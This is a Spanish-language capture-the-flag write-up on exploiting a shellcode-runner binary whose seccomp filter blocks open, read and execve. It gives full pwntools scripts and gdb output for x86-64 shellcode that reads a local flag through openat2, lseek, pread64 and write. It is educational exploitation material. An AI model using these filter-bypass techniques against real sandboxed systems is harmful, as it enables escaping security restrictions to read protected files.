xchg2pwn

xchg2pwn


Entusiasta del reversing y desarrollo de exploits



Campo de Marte

ShellCode



Reversing


Si ejecutamos el binario nos pide un shellcode donde enviamos 16 bytes, nos devuelve un mensaje y corrompe de alguna forma inesperada que analizaremos

❯ ./bin
Upload your shellcode.
AAAAAAAABBBBBBBB
zsh: segmentation fault (core dumped)  ./bin  

Iniciamos desensamblando la función main, esta llama a 2 funciones las cuales renombramos como setup y vuln debido a que originalmente no hay simbolos

La función setup intenta abrir con open un archivo llamado flag, si el valor de retorno es menor a 0 muestra un mensaje con puts y sale del programa con exit

Para evitar este error crearemos un archivo llamado flag con un texto para pruebas

❯ echo 'FLAG{f4k3_fl4g_4_t35t1ng}' > flag  

La función vuln reserva un espacio con mmap al cual asigna permisos 7 o rwx, luego recibe un datos en un buffer con read, realiza una llamada a la función seccomp y llama a rax que contiene el shellcode recibido previamente

La función seccomp establece reglas para evitar que se ejecuten ciertas syscalls

Podemos usar seccomp-tools para ver mejor las funciones restringidas, al parecer no podemos llamar execve o execveat para ejecutar comandos ni funciones para leer archivos como open o read, esto limita bastante nuestro posible shellcode

❯ seccomp-tools dump ./bin
Upload your shellcode.

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x0f 0xc000003e  if (A != ARCH_X86_64) goto 0017  
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x0c 0xffffffff  if (A != 0xffffffff) goto 0017
 0005: 0x15 0x0b 0x00 0x00000000  if (A == read) goto 0017
 0006: 0x15 0x0a 0x00 0x00000002  if (A == open) goto 0017
 0007: 0x15 0x09 0x00 0x00000009  if (A == mmap) goto 0017
 0008: 0x15 0x08 0x00 0x00000013  if (A == readv) goto 0017
 0009: 0x15 0x07 0x00 0x00000015  if (A == access) goto 0017
 0010: 0x15 0x06 0x00 0x00000016  if (A == pipe) goto 0017
 0011: 0x15 0x05 0x00 0x0000003b  if (A == execve) goto 0017
 0012: 0x15 0x04 0x00 0x00000053  if (A == mkdir) goto 0017
 0013: 0x15 0x03 0x00 0x00000055  if (A == creat) goto 0017
 0014: 0x15 0x02 0x00 0x00000101  if (A == openat) goto 0017
 0015: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 0017
 0016: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0017: 0x06 0x00 0x00 0x00000000  return KILL


Explotación


Sabemos que lo que enviemos se interpretará como instrucciones ensamblador, para comprobarlo enviaremos como shellcode un int3 que actuará como breakpoint en el debugger y algunos nops extra para asegurarnos que se ejecute correctamente

#!/usr/bin/python3
from pwn import gdb, asm

shell = gdb.debug("./bin", "continue")  

shellcode = asm("""
    int3
    nop
    nop
    nop
""", arch="amd64")

shell.sendlineafter(b".\n", shellcode)
shell.interactive()

Al ejecutar el exploit llega al breakpoint y se detiene al inicio de ejecutar los nops

Program received signal SIGTRAP, Trace/breakpoint trap.  
0x00007089beafc001 in ?? ()
pwndbg> x/4i $rip-1
   0x7089beafc000:      int3
=> 0x7089beafc001:      nop
   0x7089beafc002:      nop
   0x7089beafc003:      nop
pwndbg>

Funciones como open o openat estan limitadas por seccomp e impiden abrir el archivo, sin embargo no esta openat2 asi que podemos utilizarla para hacerlo, según documentación el argumento dirfd podemos establecerlo en AT_FDCWD o -100 para rutas relativas, el pathname será el archivo flag el cual nos interesará leer

openat2(int dirfd, const char *pathname, struct open_how *how, size_t size);  

El tercer argumento es una estructura open_how, podemos establecer todas sus partes a 0 indicando modo O_RDONLY, el tamaño de la estructura es de 24 bytes

struct open_how {
    u64  flags;    /* O_* flags */
    u64  mode;     /* Mode for O_{CREAT,TMPFILE} */  
    u64  resolve;  /* RESOLVE_* flags */
};

Ya conocemos los argumentos que debemos establecer, el size lo establecemos el 0x18 o 24 que es el tamaño de la estructura open_how, con ello completamos todo

openat2(-100, "flag", [0, 0, 0], 0x18);  

Si lo pasamos a ensamblador se ve de la siguiente forma, guardamos en rdi el valor -100, en rsi un puntero a la string flag, en rdx la estructura open_how y finalmente en r10 la longitud, y en rax el syscall NR que para openat2 es 0x1b5

    xor rdi, rdi    # $rdi = 0x0
    push 0x67616c66 # $rsp = "flag"
    mov rsi, rsp    # $rsi = "flag"
    push rdi        # NULL
    push rdi        # NULL
    push rdi        # NULL
    sub rdi, 0x64   # space for data
    push rsp        # structure
    pop rdx         # $rdx = structure  
    push 0x18       # len
    pop r10         # $r10 = len
    push 0x1b5      # openat2()
    pop rax         # $rax = openat2()

    int3            # breakpoint
    syscall         # syscall

Ejecutamos el exploit y al llegar al breakpoint comprobamos que los argumentos esten establecidos correctamente, luego ejecutamos al syscall y el valor de retorno es 0x4 que es un descriptor de archivo el cual hace referencia al archivo flag

Program received signal SIGTRAP, Trace/breakpoint trap.
0x00007155a6e2901f in ?? ()
pwndbg> p/d $rdi
$1 = -100
pwndbg> x/s $rsi
0x7ffd9227a780: "flag"
pwndbg> x/3gx $rdx
0x7ffd9227a768: 0x0000000000000000      0x0000000000000000  
0x7ffd9227a778: 0x0000000000000000
pwndbg> p/x $r10
$2 = 0x18
pwndbg>

pwndbg> x/i $rip
=> 0x7155a6e2901f:      syscall  
pwndbg> ni
0x00007155a6e29021 in ?? ()
pwndbg> p/x $rax
$3 = 0x4
pwndbg>

Una vez abrimos el archivo, podemos llamar a lseek para saber la longitud de este

lseek(int fd, off_t offset, int whence);  

El primer argumento es el descriptor del archivo, podemos utilizar el valor de retorno que nos devolvió, el offset lo podemos establecer en 0 y whence en SEE_END o 2 indicando el punto de referencia, de esta forma contará desde el inicio hasta el final

lseek(4, 0, 2);  

Podemos pasarlo a ensamblador, en rdi guardamos el valor de retorno de open, en rsi guardamos 0 y en rdx un 2, ya con ello podemos hacer la syscall a lseek

    xchg rax, rdi   # $rdi = descriptor  
    push 0x2        # whence
    pop rdx         # $rdx = whence
    xor rsi, rsi    # $rsi = offset
    push 0x8        # lseek()
    pop rax         # $rax = lseek()

    int3            # breakpoint
    syscall         # syscall

Cuando llegamos al breakpoint comprobamos que los argumentos esten establecidos correctamente, luego ejecutamos al syscall y el valor de retorno es 0x1a que es la longitud total del archivo, ahora sabemos cuantos bytes leer del archivo abierto

Program received signal SIGTRAP, Trace/breakpoint trap.  
0x0000796d23e5802c in ?? ()
pwndbg> p/x $rdi
$1 = 0x4
pwndbg> p/x $rsi
$2 = 0x0
pwndbg> p/x $rdx
$3 = 0x2
pwndbg>

pwndbg> x/i $rip
=> 0x796d23e5802c:      syscall  
pwndbg> ni
0x0000796d23e5802e in ?? ()
pwndbg> p/x $rax
$4 = 0x1a
pwndbg>

Aunque la función read esta bloqueada podemos usar funciones como pread64, el primer argumento sigue siendo el descriptor del archivo, el segundo el buffer donde se escribirá el contenido, el tercero la longitud y offset lo podemos establecer a 0

pread64(int fd, void *buf, size_t count, off_t offset);  

pread64(4, $rsp, 0x1a, 0);  

Lo pasamos a ensamblador, en rdi ya está el descriptor, en rsi establecemos la dirección del stack, en rdx el valor de retorno que recibimos de lseek y en r10 simplemente 0, en rax almacenamos el syscall NR de pread64 y la ejecutamos

    push rsp        # stack
    pop rsi         # $rsi = buffer
    xchg rdx, rax   # $rdx = len
    xor r10, r10    # $r10 = offset
    push 0x11       # pread64()
    pop rax         # $rax = pread64()  

    int3            # breakpoint
    syscall         # syscall

Al llegar al breakpoint comprobamos que los argumentos sean los correctos, y al ejecutar la syscall aunque el valor de retorno sigue siendo la longitud del archivo en el stack ahora se almacena el contenido del archivo flag que escribimos al inicio

Program received signal SIGTRAP, Trace/breakpoint trap.  
0x0000746d23e5803f in ?? ()
pwndbg> p/x $rdi
$1 = 0x4
pwndbg> p/x $rsi
$2 = 0x7ffcad51d948
pwndbg> p/x $rsp
$3 = 0x7ffcad51d948
pwndbg> p/x $rdx
$4 = 0x1a
pwndbg> p/x $r10
$5 = 0x0
pwndbg>

pwndbg> x/i $rip
=> 0x70707e199038:      syscall
pwndbg> ni
0x000070707e19903a in ?? ()
pwndbg> x/s $rsp
0x7ffcad51d948: "FLAG{f4k3_fl4g_4_t35t1ng}\n"  
pwndbg>

Finalmente podemos usar la función write para mostrar el contenido de la flag, aqui el primer argumento es el descriptor que podemos establecer en 2 para la salida, luego lo que queremos enviar a el en este caso será el contenido del registro rsp donde almacenamos el contenido del archivo y el último la longitud del archivo

write(int fd, const void buf[.count], size_t count);  

write(2, $rsp, 0x1a);  

Al pasarlo a un shellcode solo nos queda modificar el descriptor, el resto de los argumentos ya están establecidos antes de hacer la syscall hacia write

    push 0x2        # descriptor
    pop rdi         # $rdi = descriptor  
    push 0x1        # write()
    pop rax         # $rax = write()

    int3            # breakpoint
    syscall         # syscall()

Al llegar al breakpoint podemos ver que en rsi esta el contenido del la flag y en rdx la longitud de este mismo, la llamada deberia mostrar el contenido del archivo

Program received signal SIGTRAP, Trace/breakpoint trap.  
0x000070b82e8e3040 in ?? ()
pwndbg> p/x $rdi
$1 = 0x2
pwndbg> x/s $rsi
0x7ffdc66f1208: "FLAG{f4k3_fl4g_4_t35t1ng}\n"
pwndbg> p/x $rdx
$2 = 0x1a
pwndbg>

El exploit final usa funciones alternativas para leer el archivo y no tener problemas con seccomp, abre el archivo con openat2, calcula la longitud con lseek y lo lee con pread64, finalmente muestra con write el contenido de esta hacia la terminal

#!/usr/bin/python3
from pwn import process, asm

shell = process("./bin")

shellcode = asm("""
    xor rdi, rdi    # $rdi = 0x0
    push 0x67616c66 # $rsp = "flag"
    mov rsi, rsp    # $rsi = "flag"
    push rdi        # NULL
    push rdi        # NULL
    push rdi        # NULL
    sub rdi, 0x64   # space for data
    push rsp        # structure
    pop rdx         # $rdx = structure
    push 0x18       # len
    pop r10         # $r10 = len
    push 0x1b5      # openat2()
    pop rax         # $rax = openat2()
    syscall         # syscall

    xchg rax, rdi   # $rdi = descriptor  
    push 0x2        # whence
    pop rdx         # $rdx = whence
    xor rsi, rsi    # $rsi = offset
    push 0x8        # lseek()
    pop rax         # $rax = lseek()
    syscall         # syscall

    push rsp        # stack
    pop rsi         # $rsi = buffer
    xchg rdx, rax   # $rdx = len
    xor r10, r10    # $r10 = offset
    push 0x11       # pread64()
    pop rax         # $rax = pread64()
    syscall         # syscall

    push 0x2        # descriptor
    pop rdi         # $rdi = descriptor  
    push 0x1        # write()
    pop rax         # $rax = write()
    syscall         # syscall()
""", arch="amd64")

shell.sendlineafter(b".\n", shellcode)
shell.interactive()

Al ejecutar el exploit envia el shellcode que muestra el contenido del archivo flag

❯ python3 exploit.py
[+] Starting local process './bin': pid 107091  
[*] Switching to interactive mode
FLAG{f4k3_fl4g_4_t35t1ng}
$